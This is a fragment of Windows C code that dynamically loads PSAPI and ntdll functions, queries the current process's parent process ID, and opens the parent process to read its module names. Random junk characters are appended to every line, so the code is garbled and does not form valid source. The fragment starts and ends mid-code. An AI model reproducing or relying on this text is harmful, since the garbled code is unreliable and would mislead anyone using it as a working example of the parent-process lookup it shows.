DWORD BasePriority; w>Sz^_ h
ULONG UniqueProcessId; (
+hI
ULONG InheritedFromUniqueProcessId; 8N_rJ)f
} PROCESS_BASIC_INFORMATION; cGp 6yf
6e|5qKr
PROCNTQSIP NtQueryInformationProcess; $*-L8An?
:P"Gym
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rO%+)M$A
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2U{RA's
FRk_xxe"K
HANDLE hProcess; *{s[$}uQ
PROCESS_BASIC_INFORMATION pbi; X6'&X
J vsB^F.4
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]m>MB )9
if(NULL == hInst ) return 0; !|c5@0Wr
2wsZ&y%
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (UXB#I~
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (Fd4Gw<sq
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); io3'h:+9s
K(<P" g(
if (!NtQueryInformationProcess) return 0; #7ZBbq3=
p<19 Jw<
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JCfToFB
if(!hProcess) return 0; R\amcQ
9
kl"Cm`b)
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )d`$2D&iY
O_Q,!&*6
CloseHandle(hProcess); iH0c1}<k$
R7E"7"M10
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RR=l&uT
if(hProcess==NULL) return 0; %BLKB%5
h!~yYNQ"
HMODULE hMod; !:{_<